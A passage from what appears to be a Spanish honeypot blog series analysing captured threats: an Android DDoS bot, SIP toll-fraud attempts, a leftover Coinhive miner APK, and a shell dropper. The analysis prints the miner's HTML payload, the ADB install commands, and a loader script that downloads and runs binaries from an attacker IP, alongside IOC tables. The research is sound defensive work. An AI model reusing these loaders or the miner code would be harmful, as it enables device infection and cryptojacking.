costado dos días era un dato que tenías delante y no supiste relacionar. Los dos dominios dormidos son la reserva. Es el mismo patrón que vimos en el Capítulo 2 con XorDDoS: si a alguien le da por tumbar el que está en uso, se enciende otro y los bots ni se enteran. Cuestan cero euros y se registran en dos minutos, así que no hay razón para no tener repuestos. 09Lo que salió de propina Al tener las cadenas descifradas, cayeron solas unas cuantas cosas que no buscaba. ANo es solo un bot: es un gusano La orden de infección del Capítulo 7 (la que entra por ADB, desinstala rivales y se instala) va dentro del binario nativo. Es decir: cada teléfono infectado reproduce esa misma orden contra otros, por su cuenta, sin que nadie se lo mande. No hace falta que el C2 lo ordene; el bot se propaga solo. Y el vector se etiqueta adb_v2. Detalle curioso: la lista de rivales que desinstala el binario no es idéntica a la de la orden que llegó por ADB. La interna incluye dos paquetes que la de entrada no menciona. Alguien la actualizó en un sitio y se olvidó del otro. BEl C2 solo puede mandar atacar Revisé los 35 métodos que el bot registra y que el C2 puede invocar, buscando si alguno hacía algo que no fuera red: ejecutar comandos, escribir en disco, propagarse. Ninguno. Son todos de ataque. Esto define bien lo que es Sysorbit: no es una puerta trasera. El operador no puede pedirle al teléfono que abra una shell ni que robe datos - solo que ataque a alguien. Pero el aparato seguirá infectando a otros aunque el C2 desaparezca, porque esa parte no depende de él. Comprobar la herramienta antes de fiarse del resultadoUn «no he encontrado nada» solo vale si antes demuestras que tu método encuentra algo. Así que probé el mismo barrido contra el hilo de persistencia y contra el main, que sé que sí ejecutan comandos. Saltó en los dos y señaló exactamente lo que tenía que señalar. Entonces (y solo entonces) me creí el negativo. Corrección de septiembre: son 35, no 34Conté 34 porque conté asignaciones, y el identificador 0 no se escribe nunca: la reserva de memoria ya deja ese byte a cero, así que no hay ninguna instrucción que ponerle. Es el mismo modo de fallo que me pasó en el Capítulo 4 - se pierde la entrada que no se parece a las demás. Solo cambia el número. Los 35 identificadores se reparten 26 funciones (una sola atiende ocho), y el 0 comparte función con el 1, que sí entró en el barrido. El conteo se quedó corto; la cobertura no. CUna empresa española que no existe Todo APK va firmado con un certificado. El de Sysorbit dice esto: certificado de firma del APKCN = Carlos Mendoza Xxxxxx O = Xxxxxxxxxxxxxx Digitales S.L. OU = Desarrollo Mobile · L = Barcelona · ST = Cataluna · C = ES Emitido : 29 de julio de 2026 Válido hasta : 2053 SHA-256 : 01:B9:F7:13:02:D0:B1:39:3B:B3:EC:FA:B8:1E:9B:B9: 6F:C6:58:33:0A:18:15:EE:C9:32:C0:D9:F2:E8:5C:E9 Una empresa de desarrollo de Barcelona, con su departamento y todo. Inventada. Y la fachada se le cae en dos detalles pequeños: escribe Cataluna sin la eñe, y llama al departamento «Desarrollo Mobile», mezclando español e inglés. Eso no lo escribe alguien que hable español; lo escribe alguien que copia el aspecto de una empresa española sin serlo. Encaja con el resto de rastros del bicho, que apuntan a otra parte. Por qué he tapado el nombreEl certificado es falso, pero reutiliza el nombre de empresas que sí existen - hay varias con esa marca, una de ellas prestando servicios informáticos en Barcelona, la misma ciudad del certificado. Publicarlo entero asociaría a un negocio inocente con esto en cuanto Google lo indexara, y un descargo de responsabilidad no deshace eso. Lo que sirve como indicador de verdad es la huella, que identifica al firmante sin poder difamar a nadie: si el mismo actor firma otra campaña, la huella las une. El nombre no aportaba nada que la huella no aporte mejor. La fecha sí es un dato limpio y útil: el certificado se emitió el 29 de julio, y el bicho cayó en el cebo el 23 de agosto. Veinticinco días. Campaña recién horneada. DUna sola cocina El APK trae cuatro librerías, una por arquitectura. Desempaqueté las cuatro y comparé: los dominios cifrados y el material de la clave son idénticos byte a byte en todas. Salen de una única compilación, como pasaba con los doce binarios de Mirai en el Capítulo 4. 10Indicadores (IOCs) TipoValor C2 (activos)orbitcnc.twilightparadox.com · updatemc.twilightparadox.com → 176.65.139.248 C2 (reserva)udpatetbl.duckdns.org · coxm.duckdns.org Puerto C210293/TCP Token de autenticaciónORBIT_BOT_AUTHVXJUACFHAVBA Cifrado de cadenaspor carácter · rot2 + XOR/resta · claves de PRNG Lehmer (0x10A860C1 mod 0xFFFFFFFB) Cifrado del C2ChaCha20 · contador 1 · clave = XOR de dos bloques de .rodata · nonce 1e004a00 + ceros (escrito en memoria al arrancar) Bloques cifrados0x10f0fa (28 B) · 0x10fc6a (28 B) · 0x10f95d (21 B) · 0x10eaf7 (16 B) - con la clave y el nonce, el descifrado es reproducible Huella del certificadoSHA-256 01:B9:F7:13:02:D0:B1:39:3B:B3:EC:FA:B8:1E:9B:B9:6F:C6:58:33:0A:18:15:EE:C9:32:C0:D9:F2:E8:5C:E9 Etiqueta de logcatSystemCore - el bot registra ahí su propia actividad Nombre de proceso[system_server] · oom_score_adj = -1000 Sockets abstractossysorbit_watchdog · sysorbit_native_lock Vector de propagaciónadb_v2 (ADB/5555, autopropagado) SHA-256 APK31de5c5d0a3483e831e4f9348d46b3c5309177a7f9d6da537fc970f57f103901 El regalo para quien tenga que buscarloDe todo lo de arriba, lo más útil en la práctica es la etiqueta de logcat. Sysorbit escribe sus propios mensajes en el registro de Android bajo el nombre SystemCore, que suena a componente del sistema. En un aparato sospechoso, un logcat -s SystemCore lo pone al descubierto con sus propias palabras: «Received attack payload of %d bytes». Se disfraza para los ojos, pero deja el diario abierto. Estado a 11 de septiembre de 2026Los cuatro dominios (las dos reservas incluidas) ya no resuelven, y 176.65.139.248 ha desaparecido de Shodan. Vida medida de la campaña: unas tres semanas. Para hacerse una idea de la escala: el Mirai del Capítulo 4 duró más o menos lo mismo, y el RedTail de los capítulos 5 y 6 seguía vivo a las cinco semanas largas. Y un apunte sobre el nombre, que es lo que más cuesta cuando alguien busca información: la industria no da esta familia. VirusTotal la marca 21 de 61, pero con la etiqueta genérica trojan.boogr; ningún motor dice «sysorbit», y MalwareBazaar no lo tiene. El nombre sale del propio binario - sysorbit_watchdog, ORBIT_BOT_AUTH, com.sysorbit.*. Es el caso contrario al del Capítulo 1, donde veintidós motores lo habrían resuelto de entrada: aquí la etiqueta no la pone nadie, la pone el bicho. Continuará - el cebo sigue encendido, ahora también en el 5555. Cuando caiga algo nuevo, habrá noveno capítulo. 🍯","date":"2026-08","fam":"Sysorbit","n":8,"spec":"Sysorbit (Android)","sum":"Abrimos el APK capa a capa: un DEX que solo es un lanzador, una app que se clava en /system si hay root, y un motor de DDoS en código nativo. El C2 me dio con la puerta en las narices - hasta que volví por otro camino y salió entero.","t":"Sysorbit al desnudo: tres capas para esconder una dirección","tags":["Android","jadx","Ghidra","UPX","ChaCha20","ingeniería inversa"],"tipo":"Botnet Android (DDoS)","url":"/capitulo-8/"},{"body":"Los ocho capítulos anteriores iban de lo mismo: alguien entra, suelta un binario, y yo lo abro. Pero el cebo tiene cuarenta servicios escuchando, y no todos hablan de malware. Este va de dinero. No cayó ningún fichero - cayó un fraude telefónico en directo, y es una historia distinta que también merece contarse. El honeypot que lo cazó es SentryPeer, un señuelo de VoIP: finge ser una centralita SIP en el puerto 5060 y anota todo el que intente usarla para llamar. Y durante poco más de dos horas, mucha gente lo intentó. 01Qué es esto que estoy viendo Antes del destripe, el concepto - porque sin él los registros no dicen nada. Existe un fraude llamado IRSF (International Revenue Share Fraud), y funciona así: Un defraudador alquila un rango de números de teléfono internacionales de tarificación especial - de esos que, cuando alguien los llama, generan ingresos que se reparten entre la operadora y quien los alquiló. Luego busca una centralita ajena mal configurada (una PBX de empresa, un router VoIP) que acepte cursar llamadas sin pedir credenciales. La hace llamar a sus números, miles de veces. Cada llamada cursada es dinero que entra en su bolsillo… y que aparece en la factura del dueño de la centralita. Es robar usando el teléfono de otro. Mi honeypot finge ser justo esa centralita mal configurada - y así veo, sin arriesgar nada, exactamente a quién llamarían y con qué herramientas. 02La captura Una ventana de 2 h 11 min, quince máquinas distintas, 210 números marcados y 3.457 intentos de llamada (mensajes INVITE de SIP). No fue una persona: es tráfico automatizado, industrial. Así se ve un intento tal cual llega al cebo: INVITE recibido en el 5060 (número e IP ofuscados)INVITE sip:00.421232229XXX@XX.XX.XX.XX SIP/2.0 Via: SIP/2.0/UDP 172.26.196.11:55161;branch=z9hG4bK99242351 From: \u0026lt;sip:1001@XX.XX.XX.XX\u0026gt;;tag=508880652 To: \u0026lt;sip:00.421232229XXX@XX.XX.XX.XX\u0026gt; User-Agent: Linksys-SPA942 ... m=audio 25282 RTP/AVP 0 101 # quiere abrir un canal de voz Léelo como una orden: «desde la extensión 1001, llama a este número de Eslovaquia». El From: 1001 es un farol - apuestan a que la centralita tenga una extensión 1001 genérica y la deje cursar. Y el User-Agent dice Linksys-SPA942, un teléfono de sobremesa de lo más normal: se disfrazan de aparato legítimo. 03Tres actos, tres oficios Separando los quince atacantes por comportamiento, no todos hacen lo mismo. Hay tres papeles bien diferenciados - los reparten seis máquinas; las otras nueve se quedaron en ruido de fondo, sin papel atribuible: AEl que tantea la cerradura (recon) Una IP entra con el User-Agent friendly-scanner - la firma inconfundible de SIPVicious, la navaja suiza del escaneo SIP. No llama a nadie: solo comprueba si la centralita responde y qué permite. Es el equivalente a probar el pomo de la puerta. BEl que prueba extensiones (fuerza bruta) Otras dos IPs no intentan llamar: mandan REGISTER probando números de extensión uno tras otro - 3, 33, 404, 100, 101, 44444… Buscan una extensión que exista y acepte registrarse, para hablar desde dentro. Es la fuerza bruta de credenciales de siempre, pero en telefonía. CLos que ya marcan (el fraude en sí) Y los pesos pesados: tres máquinas que se reparten casi todo el volumen, cada una martilleando con su herramienta. Estas ya no tantean - llaman: IPHerramienta (User-Agent)Intentos 172.110.223.49pplsip1.339 94.26.31.62VOIP1.239 23.111.166.26Cisco-SIPGateway736 Ese pplsip no es un teléfono: es el User-Agent por defecto de sippts, una suite de auditoría SIP al estilo de SIPVicious, que figura en las listas negras de servidores SIP como Kamailio. El Cisco-SIPGateway es disfraz - se hacen pasar por una pasarela Cisco para colarse en logs poco atentos. 04El detalle que lo delata: probando el plan de marcación Y esto es lo que más cuenta del incidente. Un mismo número de Londres aparece marcado una y otra vez, con todas las formas de prefijo imaginables: el mismo número, todas las variantes (ofuscado)+442037699XXX 0000442037699XXX 00.442037699XXX 000442037699XXX 00+442037699XXX 01144442037699XXX 0442037699XXX 00442037699XXX No es torpeza: es método. No saben cómo está configurado el plan de marcación de mi centralita - si para llamar al extranjero hay que anteponer 00, 011, un 0 de línea externa, o nada. Así que los prueban todos contra el mismo destino conocido, buscando la combinación mágica que la centralita acepte encaminar. En cuanto una funcione, repetirán esa a escala. Es reconocimiento de la sintaxis de marcado, disfrazado de ruido. Los destinos, por prefijo, son el mapa habitual del IRSF: Reino Unido (+44), Italia (+39), Eslovaquia (+421), Canadá (+1 289)… destinos donde es fácil alquilar numeración y difícil que a nadie le extrañe una llamada. Y aquí conviene una precisión, porque yo mismo lo di por hecho al principio: ninguno de esos números es de tarificación especial. El +44 20 es Londres, el +44 1904 es York y el +1 289 es Ontario - los tres, numeración geográfica corriente. Tiene sentido: en esta fase no están cobrando todavía, están probando si la centralita encamina. Para eso conviene un destino que suene inofensivo y que conteste. La numeración cara aparece después, cuando ya saben que la puerta abre. 05¿De dónde llaman? - OSINT pasivo Como siempre, solo inteligencia pasiva: pregunto a los registros regionales (RDAP/whois) y a bases de datos de terceros. En ningún momento toco las máquinas de los atacantes - eso sería cruzar al otro lado. ¿Dónde vive cada uno? IPPapelAlojamiento (OSINT) 172.110.223.49flood (pplsip)AS23470 ReliableSite.Net (US) · bloque revendido 94.26.31.62flood (VOIP)AS29802 Hivelocity (US) 23.111.166.26flood (Cisco spoof)Hivelocity (US, Tampa) 158.51.78.101brute REGISTER2E Telekomünikasyon (Turquía) 185.114.48.195brute REGISTERAS199792 ClearStack (NL) Y ahí salta el hilo interesante: dos de los tres pesos pesados (los que más llamadas intentaron) viven en el mismo proveedor, Hivelocity. No prueba que sean el mismo actor, pero encaja con un patrón conocido: el fraude VoIP se opera desde hosting barato y desechable, y cuando uno cae, se levanta otro en la misma granja. El resto reparte entre proveedores de EE. UU., Países Bajos y Turquía - la misma lógica de resiliencia que ya vimos en la infraestructura de las botnets (Capítulo 4). Lo que NO se puede saber en fríoEl OSINT pasivo me dice dónde se alojan las máquinas que llaman, no quién está detrás de la numeración de tarificación - eso vive en acuerdos opacos entre operadoras. Como en los capítulos de RedTail y Sysorbit: el mecanismo se ve entero; la identidad del que cobra, no. Y ahí me quedo. 06Indicadores (IOCs) Listos para bloquear en cualquier borde SIP o alimentar un feed. De las quince máquinas publico las cinco con papel y volumen; al escáner lo delata mejor su User-Agent que su IP. TipoValor IPs (flood INVITE)172.110.223.49 · 94.26.31.62 · 23.111.166.26 IPs (brute REGISTER)158.51.78.101 · 185.114.48.195 User-Agents maliciosospplsip · friendly-scanner · VOIP · Cisco-SIPGateway (spoof) Extensión tanteadaFrom: 1001 · REGISTER 3/33/404/100/101/44444 Destinos de prueba observados+44 · +39 · +421 · +1 289 - para correlacionar, no para bloquear Volumen3.457 INVITE · 210 números · 15 IPs · 2 h 11 min 07Lo que me llevo No todo ataque trae un binario. Aquí no hay nada que abrir con Ghidra - el «arma» es el propio protocolo SIP usado como estaba diseñado, contra una centralita que no debería dejarse. El User-Agent sigue delatando. pplsip, friendly-scanner… las herramientas de ataque se anuncian solas. Filtrar por UA no para a un profesional, pero barre el 90% del ruido. El fraude también hace reconocimiento. Probar cada variante de prefijo contra un número conocido es tan «recon» como escanear puertos - solo que aquí lo que se mapea es el plan de marcación. Una PBX abierta es una tarjeta de crédito abierta. Todo esto solo funciona si la centralita cursa llamadas sin autenticar. Registrar extensiones con contraseñas de verdad y cerrar el marcado internacional que no se use derrota el fraude entero. Continuará - el cebo sigue encendido, y no solo en el 22 y el 5555: hay cuarenta puertas escuchando. Cuando alguien llame a otra de forma interesante, habrá décimo capítulo. 🍯","date":"2026-08","fam":"VoIP","n":9,"spec":"Fraude VoIP / SIP","sum":"Esta vez no cayó un binario. Cayó un fraude: durante dos horas, quince máquinas intentaron que mi centralita cursara 3.457 llamadas internacionales - la fase de prueba de un fraude de tarificación especial (IRSF), con la factura a mi nombre. Un capítulo sin Ghidra: solo protocolo, dinero y OSINT.","t":"El que quería que yo pagara sus llamadas","tags":["SIP","toll fraud","IRSF","SentryPeer","honeypot"],"tipo":"Fraude telefónico (SIP)","url":"/capitulo-9/"},{"body":"El cebo tiene cuarenta puertas abiertas, y el 5555 (el de la depuración de Android) es de las que más visita recibe. Ya trajo a Sysorbit en los capítulos 7 y 8. Esta vez trajo otra cosa, y la primera pista de que era distinta la dio la báscula. El APK de Sysorbit pesaba 707 KB, con cuatro librerías nativas dentro. Este pesa 46 KB. Quince veces menos. Y cuando lo abrí, el código Java entero eran cinco kilobytes y no había ni un byte de código nativo. Pensé que me había tocado un pobre diablo. Y en cierto modo sí - pero la historia que había detrás es la mejor que me ha dado el cebo hasta ahora. 01La captura Quince segundos de principio a fin. Ni una palabra de más: 0 spm path com.ufo.miner - pregunta si ya está instalado. Si lo estuviera, se iría sin molestar. 8 sInstala /data/local/tmp/ufo.apk. Es la muestra que capturé. 9 sBorra el fichero. La huella dura un segundo. 10 sArranca la aplicación: am start -n com.ufo.miner/com.example.test.MainActivity 13 sps | grep trinity - busca algo llamado trinity. Ese nombre resultó ser la llave de toda la historia. 15 srm -rf /data/local/tmp/* y adiós. Ese com.example.test no es un descuido menorCuando creas un proyecto nuevo en Android Studio, el entorno te propone un nombre de paquete por defecto para que lo cambies. Es el equivalente a un documento llamado «Documento sin título 1». Este señor no lo cambió. Su malware, que lleva ocho años dando vueltas por internet, se llama por dentro «ejemplo, prueba». 02Cinco kilobytes y una página web Dentro del APK no hay casi nada: un icono, un par de ficheros de recursos, cinco kilobytes de código y (esto sí llamó la atención) un fichero suelto llamado run.html. Una página web, dentro de una aplicación. El código Java, entero, hace esto: MainActivity · el programa completoWebView webView = ... webView.getSettings().setJavaScriptEnabled(true); webView.loadUrl(\"file:///android_asset/run.html\"); Es decir: abre un navegador invisible y carga una página que lleva dentro. Nada más. Ni conexiones, ni comandos, ni ficheros. Y solo pide dos permisos: internet, y arrancar cuando enciendes el teléfono. Toda la maldad, entonces, tiene que estar en esa página. Y son ocho líneas: assets/run.html · íntegro\u0026lt;script src=\"https://coinhive.com/lib/coinhive.min.js\"\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; var miner = new CoinHive.Anonymous('fwW95bBFO91OKUsz1VhlMEQwxmDBz7XE',{ threads: 4, throttle: 0.8 }); miner.start(); \u0026lt;/script\u0026gt; Coinhive. Un servicio que permitía a cualquier web minar criptomoneda en el navegador de sus visitantes. Ese código de treinta y dos caracteres es la cuenta a la que iba el dinero. Y entonces miré la fecha de los ficheros del APK: 1 de julio de 2018. 03El problema con esa fecha Coinhive fue, en su día, un fenómeno. En su mejor momento lo usaban unas 32.000 páginas web y movía entre 150.000 y 250.000 dólares al mes en Monero (según la estimación), de los que se quedaba el 30%. Estuvo quince meses seguidos como la amenaza número uno del índice de Check Point. Se lo encontraron en Los Angeles Times, en webs de gobiernos, en anuncios de YouTube, en el wifi de una cafetería de Buenos Aires y en cientos de miles de routers MikroTik, empezando por Brasil. Y cerró el 8 de marzo de 2019. Monero cambió su algoritmo, el negocio dejó de salir a cuenta, y echaron el cierre. Echa la cuenta conmigoEste bicho entró en mi cebo el 24 de agosto de 2026. Lleva ocho años infectando teléfonos ajenos, gastando su batería y su procesador, para ganar dinero en un negocio que cerró hace más de siete años. Nadie lo apagó. Nadie lo actualizó. Sigue rodando solo. Aquí es donde pensé que la historia se acababa: un fósil, un chiste, un bicho inofensivo dando vueltas por inercia. Fui a comprobar lo obvio (que el dominio estuviera muerto) y me llevé la sorpresa del día. 04El dominio no está muerto coinhive.com sigue respondiendo. Y no solo eso: el fichero exacto que este bicho descarga, /lib/coinhive.min.js, sigue existiendo y devuelve un JavaScript de verdad, de 1,7 KB. Pero no es el de antes. Esto es lo que hay hoy en esa dirección: coinhive.com/lib/coinhive.min.js · hoy// Credit to https://w3bits.com/javascript-modal/ window.addEventListener('load', function() { let url = 'https://www.troyhunt.com/i-now-own-the-coinhive-domain…'; createModal('This website attempted to run a cryptominer in your browser. \u0026lt;a href=\"' + url + '\"\u0026gt;Click here for more information\u0026lt;/a\u0026gt;.'); setTimeout(function(){ location.href = url; }, 5000); }); En mayo de 2020, alguien le regaló el dominio a Troy Hunt (el que mantiene Have I Been Pwned) con la única condición de que hiciera algo útil con él. Y lo que hizo fue esto: en vez de minar, el script le planta un aviso en la cara a la víctima diciéndole que alguien acaba de intentar minar en su navegador, y a los cinco segundos la lleva a una página que se lo explica. Cuando lo contó, en la primavera de 2021, el dominio recibía tres millones de peticiones al día de gente que seguía infectada sin saberlo. Léelo otra vez, porque es deliciosoEl objeto CoinHive ya no existe en ese fichero. Así que la línea new CoinHive.Anonymous(...) de nuestro bicho falla con un error y no mina absolutamente nada. Lo que sí ocurre es lo otro: el navegador del malware carga el script, y el script hace su trabajo. Y su trabajo, ahora, es dibujar el cartel de aviso en la pantalla de esa app «Test» que nadie abre - lo vea la víctima o no. Han pasado siete años y el bicho no se ha enterado de nada. Sigue llamando a la puerta de su antiguo jefe, y quien abre ahora es alguien que se dedica a delatarlo. 05El espécimen El APK que el cebo capturó. ESPÉCIMEN 005 · APK Trinity · minero Android por ADB ◈ FÓSIL · NO EJECUTAR TipoAPK firmado · 46.525 B Paquetecom.ufo.miner (actividad: com.example.test.MainActivity) Códigoclasses.dex de 5.016 B · sin librerías nativas Compilado1 de julio de 2018 FunciónWebView + Coinhive (inoperante desde 2019) SHA-2560d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257 Y el certificado con el que está firmado merece capítulo aparte: certificado de firmaPropietario: CN=Android, OU=Android, O=Android L=Mountain View, ST=California, C=US EMAILADDRESS=android@android.com Válido desde: 29 de febrero de 2008 Algoritmo : SHA1withRSA (débil) SHA-256 : A4:0D:A8:0A:59:D1:70:CA:A9:50:CF:15:C1:8C:45:4D: 47:A3:9B:26:98:9D:8B:64:0E:CD:74:5B:A7:1B:F5:DC Esa clave la tienes tú tambiénNo es de Google. Es la clave de pruebas que viene en el código fuente de Android, pública desde 2008, con la que cualquiera puede firmar cualquier cosa. Está ahí para que los desarrolladores prueben, no para publicar. Compara con Sysorbit, que se inventó una empresa española entera (con su departamento, su ciudad y su provincia) para firmar su APK. Este cogió la que venía puesta. 06Quién es, en realidad Aquel ps | grep trinity de la captura era el hilo. La familia se llama Trinity, y lo que cayó en mi cebo es solo una pieza del equipo. El APK no se propaga; es únicamente el minero. El que viaja y contagia es un binario aparte llamado trinity, y tiene una característica que lo hace difícil de matar: no tiene servidor de mando. Ninguno. Se inventa direcciones de internet al azar, prueba el puerto 5555 a ciegas, y cuando encuentra un aparato abierto le empuja el equipo entero. Entonces quien me visitó no es «el atacante»La conexión vino de 112.90.220.245, en Shenzhen. Pero al no haber central, eso no es la guarida de nadie: es otro teléfono o televisor infectado, escaneando a ciegas, que dio conmigo por casualidad. Sus vecinas del mismo bloque (.242, .243, .244, .246, .247) también aparecen escaneando en registros públicos. Es un barrio entero contagiado. Y sigue activa: los servicios de reputación la marcaban como maliciosa el mismo día que me visitó. Un apunte de honestidad: en mi captura no llegó a aparecer el binario trinity, solo el APK y la comprobación de si ya estaba. Lo que cuento de la parte que se propaga viene de análisis publicados, no de mi cebo. 07Ocho años dando vueltas Que un bicho de 2018 llegue a 2026 podría ser una casualidad - una copia perdida en un aparato olvidado. No lo es, y hay números. Un cebo de ADB en Sídney publica cada mes lo que captura. Mi mismo fichero, con el mismo hash exacto, aparece en sus informes todos los meses desde diciembre de 2025 hasta mayo de 2026. Y junto a él, los mismos binarios acompañantes que documentó un análisis de 2020: sin modificar en seis años. Nadie los mantiene. Nadie los mejora. Se copian a sí mismos, tal cual, de aparato en aparato. En mayo de 2026 ese cebo contó 630 direcciones distintas repartiendo cosas por el 5555. El tráfico sale sobre todo de China y Corea del Sur. Un detalle que me hizo graciaEl primer análisis serio de este bicho lo publicó Sophos en febrero de 2019. Para cazarlo usaron un cebo de ADB construido por Keysight y distribuido dentro de T-Pot - que es, exactamente, el mismo programa que corre en mi honeypot. Siete años después, el mismo software sigue pescando el mismo bicho. 08Hasta el fósil tenía enemigos Rescatando aquel artículo de 2019 (está caído, hubo que sacarlo del archivo de internet) apareció otra pieza: un script rival que iba por ahí desinstalando a este bicho. Descargaba lo suyo, y remataba así: el script de la banda rival (2019)# ...tras instalar lo suyo: pm uninstall com.ufo.miner pm uninstall fbot # y se autodestruye rm $0 Dos competidores desalojados de una tacada, y limpieza de huellas al salir. Es el mismo patrón que hemos visto en RedTail y en Sysorbit: estos bichos se pelean entre ellos más que contra nosotros. El aparato infectado es un recurso escaso y hay cola. 09Indicadores (IOCs) TipoValor SHA-256 del APK0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257 MD58844985fcd57b0311d1d4cb2ec13a1ef Paquetecom.ufo.miner · actividad com.example.test.MainActivity Receptorcom.example.test.BootBroadcastReceiver (BOOT_COMPLETED) PermisosINTERNET · RECEIVE_BOOT_COMPLETED (nada más) Clave de CoinhivefwW95bBFO91OKUsz1VhlMEQwxmDBz7XE Huella del certificadoSHA-256 A4:0D:A8:0A:59:D1:70:CA… (clave de pruebas pública de Android) Ruta de instalación/data/local/tmp/ufo.apk Vía de entradaADB · puerto 5555 IP que lo trajo112.90.220.245 (Shenzhen, China Unicom) - aparato infectado, no central En la lista de appsaparece como «Test», sin icono en el menú Cómo saber si lo tienesNo se esconde tanto como los otros: aparece en la lista de aplicaciones instaladas con el nombre «Test», aunque no ponga icono en el menú. Si tienes un televisor, un decodificador o un móvil viejo con la depuración abierta y ves una aplicación llamada «Test» que no recuerdas haber instalado, ya sabes. Y el arreglo de fondo es el de siempre: el puerto 5555 no debería asomar a internet jamás. Esta tabla ha caducado casi enteraCasi todo lo de esta tabla ha caducado. La campaña sigue viva y en septiembre ha vuelto a caer en el cebo con todos los nombres cambiados: el paquete ya no es com.ufo.miner sino com.google.home.tv, que pasa por una app de Google TV. La lista completa está en el Capítulo 13. Lo único que no han tocado es com.example.test.MainActivity - el nombre que Android Studio pone por defecto y que este señor nunca cambió. Ocho años, una rotación entera de indicadores, y el descuido del que me reía ahí arriba es el único que sigue sirviendo para encontrarlo. Y me quedo sobre todo con la imagen. Un teléfono en algún sitio, contagiado hace quién sabe cuánto, abriendo una ventana que nadie mira y llamando obedientemente a una dirección para pedir instrucciones. Al otro lado ya no hay ningún jefe: hay alguien que recogió las llaves del local abandonado y puso un cartel. Y el cartel, que el bicho enseña sin entenderlo, dice: «esta web ha intentado minar criptomoneda en tu navegador». Después de tantos capítulos abriendo cosas cifradas a martillazos, resulta que el mejor final me lo dio un bicho que no sabe que la fiesta terminó. Continuará - el cebo sigue encendido. Cuando alguien llame a otra puerta de forma interesante, habrá undécimo capítulo. 🍯","date":"2026-08","fam":"Trinity","n":10,"spec":"Trinity (com.ufo.miner)","sum":"Cayó otro APK por el cable de depuración, pero este pesa quince veces menos que el anterior y no lleva ni una línea de código nativo. Lo abrí esperando algo mediocre. Lo que encontré fue un fósil de 2018 que sigue infectando teléfonos para minar en una empresa que cerró hace siete años - y que hoy, sin saberlo, avisa a sus propias víctimas.","t":"Un minero algo perdido","tags":["ADB.Miner","Android","ADB","Coinhive","cryptojacking","Monero"],"tipo":"Minero Android (cryptojacking)","url":"/capitulo-10/"},{"body":"El vigía saltó con un fichero de 1.177 bytes. Un script de shell. Nueve líneas de wget, una por arquitectura, del estilo que ya he abierto tres veces en este blog. Iba a etiquetarlo como reincidencia y seguir con lo mío. Lo abrí igualmente, por costumbre. Y lo primero que vi fue que a este le sobraban unos caracteres. 01Cinco visitas en un minuto No vino una vez: vino cinco, desde la misma dirección, en sesenta segundos, probando una contraseña distinta cada vez. Como quien prueba el llavero entero en la misma cerradura. 0 sEntra con root / root. Descarga y se va. 1 sVuelve con root / password. Esta vez remata con echo PAYLOAD_EXECUTED. 2 sOtra, root / 123456. 4 sY otra, user / user. 55 sY la quinta, root / 123123. Las cinco teclean exactamente lo mismo: lo que ejecuta, cinco veces seguidascd /tmp 2\u0026gt;/dev/null || cd /run 2\u0026gt;/dev/null || cd / wget hxxp://213.232.114[.]14/handshakebins.sh busybox wget hxxp://213.232.114[.]14/handshakebins.sh Ese busybox wget de refuerzo es la marca de la casa en el mundo de los cacharros: en un router o una cámara muchas veces no hay un wget de verdad, sino la navaja suiza de BusyBox. Prueba las dos por si acaso. Ese PAYLOAD_EXECUTED no es para míEs una baliza: una palabra que el atacante imprime para que su propio orquestador, al leer la salida de la sesión, sepa que la máquina picó. Cada familia tiene la suya. RedTail escribía redtail_bot_telnet_ok; Sysorbit mandaba un token de registro. Este dice, sin adornos, «payload ejecutado». 02Nueve descargas y un error de bulto El script que se baja trae nueve intentos, uno por arquitectura, con los nombres puestos a mano: handshakebins.sh · 1.177 B-e #!/bin/bash -e cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://213.232.114[.]14/MIPS; chmod +x MIPS; ./MIPS; rm -rf MIPS -e cd /tmp || ... wget hxxp://213.232.114[.]14/MIPSEL; chmod +x MIPSEL; ./MIPSEL; rm -rf MIPSEL -e cd /tmp || ... wget hxxp://213.232.114[.]14/SH4; ... -e cd /tmp || ... wget hxxp://213.232.114[.]14/X86_64; ... -e cd /tmp || ... wget hxxp://213.232.114[.]14/ARMV6L; ... -e ... y así con I686 · I586 · M68K · ARMV4L La estrategia es de fuerza bruta: dispara las nueve y que arranque la que pueda. Un aparato MIPS ignorará las otras ocho y ejecutará la suya. Pero fíjate en el principio de cada línea. Esos -e no deberían estar ahí. Salen de haber generado el fichero con un echo -e en una shell donde ese parámetro no existe: en vez de interpretarlo, lo escribió dentro. El script funciona igual (bash intenta ejecutar una orden llamada -e, falla, y sigue con el resto de la línea) pero es la primera huella de alguien con prisa y sin revisar. La segunda huella es bastante peor. 03Los nueve nombres mienten Me bajé tres de los nueve binarios y, antes de mirar nada más, le pregunté al sistema qué eran. Es lo primero que hago siempre, y cuesta un segundo: file *.binX86_64.bin: ELF 32-bit LSB executable, ARM, EABI4 MIPS.bin: ELF 32-bit LSB executable, ARM ARMV4L.bin: ELF 32-bit LSB executable, Renesas SH El que se llama X86_64 es ARM. El que se llama MIPS es ARM. El que se llama ARMV4L es un Renesas SH. Ninguno de los tres es lo que dice ser. Esto no es un detalle estéticoEl cargador dispara las nueve descargas a ciegas y confía en que solo la correcta arranque. Si los nombres no corresponden, los ordenadores x86 no se infectan nunca: se bajan un binario ARM que su procesador no entiende, y ahí acaba la historia. Quien montó ese servidor subió los ficheros cruzados y está perdiendo víctimas sin enterarse. Y es un fallo que no da la cara: la campaña sigue funcionando en los cacharros ARM, que son mayoría. Nadie va a reclamar. Compáralo con el XorDDoS del Capítulo 1, otra familia y otro mundo: aquel le mandaba uname -m a su propio servidor para que le devolviera exactamente el binario que tocaba, y de paso renombraba wget a good y curl a cool, de forma que ninguna botnet rival pudiera descargar nada en esa máquina después. Ahí había oficio. Aquí hay prisa. 04Dos direcciones, dos mundos En este ataque hay dos servidores distintos, y no se parecen en nada. El que entra (45.135.194.26, alojado en Alemania) está quemadísimo: 463 denuncias de 280 usuarios distintos en AbuseIPDB, y catorce motores de VirusTotal lo dan por malicioso. Es una dirección de usar y tirar, y su trabajo es exponerse. El que sirve el payload (213.232.114[.]14, en los Países Bajos) estaba, cuando lo miré, impoluto: cero detecciones, una sola denuncia, desconocido para abuse.ch. El reparto tiene lógicaLa IP que hace el ruido (escanear medio internet a golpe de root/root) se llena de denuncias en días y acaba en todas las listas negras. La que guarda la mercancía solo la visitan las víctimas que ya han picado, así que casi nadie la ve y casi nadie la denuncia. Queman una y protegen la otra. Curiosidad: el rango de la primera está registrado al mismo titular que el del centro 